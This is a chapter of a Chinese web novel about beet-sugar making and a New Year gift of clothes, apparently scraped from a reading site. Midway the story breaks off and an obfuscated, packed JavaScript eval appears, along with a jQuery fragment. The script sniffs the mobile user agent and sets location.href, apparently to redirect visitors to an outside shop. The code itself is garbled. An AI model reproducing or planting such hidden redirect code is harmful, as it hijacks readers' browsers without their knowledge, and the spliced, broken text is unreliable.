52. 甜菜製糖(2 / 2)

蘇記美食錄 常穗 6444 字 4個月前

被摘了葉的菜疙瘩泡在冷水中洗去表麵的泥,去了皮切成薄片放石磨裡碾碎成泥狀,放布裡擠壓出汁,汁液用布過濾去除顆粒雜質。

過濾過的甜菜汁液倒鍋裡熬煮,大的甜菜疙瘩有拳頭大小,小的隻有一個拳頭,做出來的產量不儘人意,熬煮了半天,加石灰石進去,等筷子能夠立在糖漿中間,冒著氣泡就做好了。

一開始汁液沾了三分之一,最後成果隻有一個鍋底多,倒在長方形模具裡,要明天才能凝固。

拿回白糖的路上裴攸又買了兩袋糖,因為年關的原因,有些東西價格降了,有些卻貴了上去。

背著箱子走南闖北的賣糖人來回轉著,從這個村到那個村,貪嘴的小孩拿著銅板買那沾了點甜味的棍吃得津津有味。

最後這天蘇眠雪

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282225|130063||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

做了三碗麵雞蛋麵,煎得金黃的雞蛋鋪在有序交疊的麵條上,飄著香噴噴的油脂,撒一把蔥花在雞蛋上,漂亮的很。

雞蛋鹹香邊上帶點焦邊,一口麵條一口雞蛋吃得好不樂乎。

晚上月亮探出頭,製好的新衣服擺在櫃子裡已經迫不及待,蘇盈拿出來看了又看,小小的妝台上有幾隻琉璃貝殼模樣的首飾,紮兩個團子彆在前頭就好。

裴攸靠在門上,披著件雪白大氅見怪不怪,等蘇盈欣喜完,抬手勾了勾,一雙眉毛上挑著,借著月色,好看至極的桃花眼寫滿了傲嬌,轉過頭,露出圓滾的後腦勺,蒼白修長的手從大氅探出來,依舊是招人快來的手勢。

尾調微微上揚,含著笑意:“過來吧。”

“盈兒有的,阿雪也有。更漂亮。”

蘇眠雪和蘇盈一開始看著漂亮衣裳,結果不知覺間被人勾走了魂,蘇盈不爭氣地吞了口水,“阿姐,從某方麵說,的確是裴哥哥更勝一籌,不過還是大牛哥實心點,乾得都是實打實的正事。”

裴攸有些矜嬌,蘇盈一開始見到這人是這樣想得,相貌生得好不頂飯吃,男人找得好還是實打實乾事的款。

有銀子住大宅子享樂的選裴攸,不然有的麻煩出來。

那會紮破個手指命令了她三天,蘇盈就是照顧人,也是蘇眠雪花銀子買來的,在這家裡真把自己當大爺了。

蘇盈懶得慣他,每天饅頭鹹菜端他房裡,吃完早飯去私塾聽課,沒課就去酒樓幫忙,任憑裴攸張著嗓子也沒用。

人不在,聽不見。

“你說得對,大牛哥在時,家裡柴都是他劈得。”李大牛走後就是她們倆劈得。

“走吧。”去看看裴攸又整了些什麼。

蘇眠雪跟著到自己屋裡,裴攸和獻寶一樣帶她到一套衣服前。

料子摸著光滑,橘色的裙子上繡了大片梔子,拿銀線編織著布了滿衣擺。

外麵的大氅顏色要深些,普通人家買不起大氅,都是外邊套著厚襖,冬天看起來有些臃腫不美觀。

美觀也不是普通人能去想的,一件好看的衣服要多少銀子,一件襖子多少實惠,又暖乾活又方便。

“喜歡嗎,賣給我衣服的掌櫃說,她一定會喜歡的。”

“喜歡,挺貴的吧。”漆黑的眸子澄澈,掃興的話不興說,容易潑人冷水,將期待降至最低。

蘇眠雪話裡有些勉強,眼中光淡了幾分:“我們還要去長安,就在今年,你忘了?”

裴攸帶著笑的眼垂下,示意蘇盈出去,瞳色漸晦,又燃起淡淡微光:“記得啊,但是要過年了,李大娘說要穿新衣服才能有新年,你總不想複去年的路,多不好。”

“好不好都是自己走出來的,鎮上這大半年以來發生了多少事,好不好不都一步步地走過去了,等把酒樓安頓完,我們也該離開了。”

說有不舍,倒地是自己經營出來的,但鎮上隻是一個起點,接下來的路還有千千萬萬個趙儒、賈三,蘇眠雪打不倒,隻有挺過去。

上一頁 書頁/目錄 下一章